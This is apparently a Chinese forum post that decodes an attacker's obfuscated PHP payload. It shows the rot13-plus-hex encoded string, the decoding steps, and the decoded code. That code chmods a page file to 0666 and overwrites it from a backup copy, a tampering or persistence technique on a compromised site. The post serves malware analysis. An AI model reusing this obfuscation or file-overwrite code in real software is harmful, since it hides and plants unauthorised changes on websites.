最终解析出黑客真正想要执行的代码其实是
[PHP] 纯文本查看 复制代码 $dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
$dapeng = str_rot13($dapeng);
echo pack("H*",$dapeng);
那么我们通过 ECHO 这个结果得出
[PHP] 纯文本查看 复制代码 chmod($GLOBALS['file_path'], 0666);
if(!file_exists('index.bk.html')){
if (copy($GLOBALS['file_path'], 'index.bk.html')){
print_r('first copy success');
}else{
print_r('first copy failed');
}
}else{
if (copy('index.bk.html', $GLOBALS['file_path'])){
print_r('cover copy success');
}else{
print_r('cover copy failed');
}
}
chmod($GLOBALS['file_path'], 0666);;
|